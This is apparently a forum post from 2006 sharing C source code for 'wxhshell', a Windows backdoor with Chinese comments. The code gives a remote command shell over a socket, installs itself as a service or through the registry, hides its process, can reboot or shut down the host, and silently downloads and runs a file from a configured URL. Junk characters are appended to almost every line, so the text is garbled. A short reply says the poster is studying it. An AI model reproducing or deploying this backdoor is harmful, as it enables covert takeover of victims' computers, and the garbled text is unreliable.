    switch(cmd[0]) { r )~?5d  
  OGcdv{ ,P  
  // 帮助 %3dc_YPS  
  case '?': { G-i2#S   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); od#Lad@p  
    break; Foq3==*p  
  }  0Y!"3bw|  
  // 安装 yl?LXc[)  
  case 'i': { 4U\>TFO  
    if(Install()) iZk4KX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hqeknTGsIn  
    else Xc+YoA0Ez  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  }c||$  
    break; iJdJP)!tz6  
    } .WSn Y71  
  // 卸载 rXmrT%7k  
  case 'r': { P'iX?+*  
    if(Uninstall()) @|;[ ;:h@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K'2N:.D:  
    else ,eTdQI;   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xY)eU;*  
    break; 8p829  
    } n<|8Onw  
  // 显示 wxhshell 所在路径 Ng<ic  
  case 'p': { 8\E=p+C  
    char svExeFile[MAX_PATH]; (XR}U6^v]  
    strcpy(svExeFile,"\n\r"); -J!n7  
      strcat(svExeFile,ExeFile); lq-F*r\/~+  
        send(wsh,svExeFile,strlen(svExeFile),0); :*g$@T   
    break; $'}|/D  
    } GR(m+%Vw!  
  // 重启 N6kMl  
  case 'b': { OLF6["0Rn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f4\F:YT  
    if(Boot(REBOOT)) 2@T0QJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wY8Vc"  
    else { Q,9KLi3  
    closesocket(wsh); iuqJPW^}  
    ExitThread(0); m.6uLaD"!}  
    } D]d! lMK/  
    break; c>c3qjWY/  
    } U(+QrC:  
  // 关机 3\{acm  
  case 'd': { K~]Xx~F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sMAH;'`!Eu  
    if(Boot(SHUTDOWN)) lp d~U2&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G,6`:l  
    else { 2N-p97"g  
    closesocket(wsh); I|bX;l  
    ExitThread(0); cMtUb  
    } 6qV1_M#  
    break; 1IgTJ" \  
    } _ZWU~38PM  
  // 获取shell i< imE#  
  case 's': { 4`5W] J]6  
    CmdShell(wsh); {>64-bU  
    closesocket(wsh); Pvv7|AV   
    ExitThread(0); \p\p~FVS  
    break; / E!6]b/  
  } 7"eIZ  
  // 退出 ~6u|@pnI  
  case 'x': { rWJRoGk/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x5#Kk.  
    CloseIt(wsh); .1h\r, #  
    break; ]9<H[5>$R  
    } Vl(id_~_  
  // 离开 w4^ $@GtN  
  case 'q': { ,DW q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4*n1Xu 7^x  
    closesocket(wsh); :hB6-CZkqN  
    WSACleanup(); 3<Z@!ft8  
    exit(1); ndB qXS  
    break; ok-q9dM  
        } $Zi {1w  
  } Q^Vch(`&P  
  } +U1fa9NSn  
bLg gh]Fh  
  // 提示信息 <g&GIFE,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _s=<Y^l%x  
} FD8  
  } su60j^e*  
mCI5^%*0jQ  
  return; s }^W2  
}  W"~"R  
L'a s^Od  
// shell模块句柄 )C$Ij9<A  
int CmdShell(SOCKET sock) /HSg)  
{ \u/=?b  
STARTUPINFO si; H!y-o'Z  
ZeroMemory(&si,sizeof(si)); % 5!Y#$:{o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1JGww]JZo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3=Xvl 58k  
PROCESS_INFORMATION ProcessInfo; .D=#HEshk  
char cmdline[]="cmd"; ^sJp!hi4=)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  poZ&S  
  return 0; .p~.S&)  
} fhHTp_u)2  
esv<b>`R  
// 自身启动模式 qm=9!jqC;  
int StartFromService(void) \3t)7.:4  
{ @<S'f<>g  
typedef struct :bP <H  
{ ?I.bC   
  DWORD ExitStatus; 2Aq+:ud)P  
  DWORD PebBaseAddress; *; 6LX  
  DWORD AffinityMask; 0NSCeq%;6q  
  DWORD BasePriority; ?zXlLud8  
  ULONG UniqueProcessId; yAJrdY"  
  ULONG InheritedFromUniqueProcessId; f*[Uq0?  
}   PROCESS_BASIC_INFORMATION; KXo[;Db)k  
%(1y  
PROCNTQSIP NtQueryInformationProcess; BLo=@C%w5  
yA<\?Ps  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g+k yvI7o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VB+y9$Y'  
J\ ?  
  HANDLE             hProcess; I\6^]pi,  
  PROCESS_BASIC_INFORMATION pbi; qUNXT  
)|U+<r<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {<Vw55)#0Q  
  if(NULL == hInst ) return 0; A6F/w  
'p,54<e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eG5xJA^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z@#k ivcpz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W%}zwQ  
sCAWrbOe>  
  if (!NtQueryInformationProcess) return 0; qP[jtRIN  
0 !F! Y_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X gA( D  
  if(!hProcess) return 0; )G|'PXI@,  
Y{dj~}mM+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lLL)S  
T C._kAm  
  CloseHandle(hProcess); ?w"zW6U  
Al}%r85  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :\G`}_db'  
if(hProcess==NULL) return 0; ncij)7c)u  
k!wEPi]  
HMODULE hMod; {cAGOxwd  
char procName[255]; \w@ "`!%  
unsigned long cbNeeded; glRHn?p  
a"X9cU[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <8 25?W|  
UJQGwTA W  
  CloseHandle(hProcess); hW-?j&yJ?  
H<wkD9v}H5  
if(strstr(procName,"services")) return 1; // 以服务启动 JE/Kf<  
4Y}{?]>pu  
  return 0; // 注册表启动 S8)6@ECC  
} ; Z{jol  
hxuc4C\J  
// 主模块 _{YUWV50}  
int StartWxhshell(LPSTR lpCmdLine) &BJ"T  
{ =$Sd2UD  
  SOCKET wsl; R"qxT.P(  
BOOL val=TRUE; </jTWc'}  
  int port=0; Z(a,$__  
  struct sockaddr_in door; {3*Zx"e![  
I=9sTR)  
  if(wscfg.ws_autoins) Install(); !"QvV6Lq\  
(<xl _L:*.  
port=atoi(lpCmdLine); #\$AB_[ot>  
~k'SP(6#C  
if(port<=0) port=wscfg.ws_port; J`d;I#R%c  
NN@'79x  
  WSADATA data; 4jdP3Q/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fhk`qh'i  
JY6^pC}*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RD0=\!w*5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pt=H?{06  
  door.sin_family = AF_INET; ])NQzgS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *VgiJ  
  door.sin_port = htons(port); :[.**,0R  
qv.s-@l8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jdAjCy;s!  
closesocket(wsl); d\v1R-V  
return 1; .FpeVjR''  
} MC;2.e`  
KetNFwbUf  
  if(listen(wsl,2) == INVALID_SOCKET) { g! DJ W  
closesocket(wsl); B0|!s  
return 1; _%:$sAj  
} .l$:0a  
  Wxhshell(wsl); Z=j6c"  
  WSACleanup();  w0`8el;  
~X!Z+Vg  
return 0; b ]u01T-  
1 paLxR5  
} db`L0JB  
 jWqjGX`  
// 以NT服务方式启动 :B  9>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jcL%_of  
{ G_/Dz JBF  
DWORD   status = 0; `R6dnbH  
  DWORD   specificError = 0xfffffff; U;#9^<^  
$* hqF1Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K2 6`wt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2rPmu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &hu>yH>j  
  serviceStatus.dwWin32ExitCode     = 0; Xli$4 uL   
  serviceStatus.dwServiceSpecificExitCode = 0; jIi:tO9G^,  
  serviceStatus.dwCheckPoint       = 0; Bht!+  
  serviceStatus.dwWaitHint       = 0; #.j}:  
#%7)a;'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zv0bE?W9   
  if (hServiceStatusHandle==0) return; D1R$s*{  
@L?KcGD  
status = GetLastError(); "."ow|  
  if (status!=NO_ERROR) K*S3{s%UR  
{ yc+pNC)ue_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *WaqNMD[%  
    serviceStatus.dwCheckPoint       = 0; {;vLM* '  
    serviceStatus.dwWaitHint       = 0; v6P2v  
    serviceStatus.dwWin32ExitCode     = status; e2qSU[  
    serviceStatus.dwServiceSpecificExitCode = specificError; `br$kB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fLS].b]1N  
    return; S`8Iu[Ma  
  } Kv9Z.DY  
.F},Z[a&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 49.B!DqQW&  
  serviceStatus.dwCheckPoint       = 0; %'OY  
  serviceStatus.dwWaitHint       = 0; ny1;]_X_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,49Z/P  
} F:N8{puq5  
T>68 ,; p  
// 处理NT服务事件,比如:启动、停止  stQ_Ke  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V]NCFG  
{ ! k 1 Ge+  
switch(fdwControl) s  }Ql9  
{ }i{A4f `  
case SERVICE_CONTROL_STOP: $[UUf}7L   
  serviceStatus.dwWin32ExitCode = 0; eG7Yyz+t$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YPW UncV  
  serviceStatus.dwCheckPoint   = 0; pX+4B=*  
  serviceStatus.dwWaitHint     = 0;  />6ECT  
  { T+e*'<!O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >x>/}`  
  } 5th?m>  
  return; hd6O+i Y4  
case SERVICE_CONTROL_PAUSE: .$@+ / @4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NfUt\ p*  
  break; 5|5p -B  
case SERVICE_CONTROL_CONTINUE: 1ktxG1"1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .+,U9e:%  
  break; +Qf}&D_  
case SERVICE_CONTROL_INTERROGATE: T*nP-b  
  break; jD${ZIv  
}; |{v#'";O:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Up{zRD"B  
} YS_3Cq  
cPv(VjS1;  
// 标准应用程序主函数 h aApw(.%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wZs 2 aa  
{ f ,4erTBH  
A; wT`c  
// 获取操作系统版本 sM+~x<}0  
OsIsNt=GetOsVer(); m7DKC,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rtfRA<  
ES?*w@x  
  // 从命令行安装 -Caj>K  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8CZ%-}-%$  
{`G d  
  // 下载执行文件 r! HXhl  
if(wscfg.ws_downexe) { xJ2I@*DN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %IZd-N7i^  
  WinExec(wscfg.ws_filenam,SW_HIDE); yOt#6Vw  
} R3;%eyu  
ZP5 !O[Ut  
if(!OsIsNt) { a{.q/Tbt  
// 如果时win9x,隐藏进程并且设置为注册表启动 pQKSPr  
HideProc(); "i\#L`TkzX  
StartWxhshell(lpCmdLine); eIfQ TV  
} 4e Y?#8  
else ddyX+.LMk  
  if(StartFromService()) fP V n;  
  // 以服务方式启动 ~7U~   
  StartServiceCtrlDispatcher(DispatchTable); DL?nvH  
else r34MDUZdI  
  // 普通方式启动 ]jFl?LA%7  
  StartWxhshell(lpCmdLine); z V\+za,  
tKeTHj;jO  
return 0; .z.4E:Iq  
}
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级别: 大掌柜
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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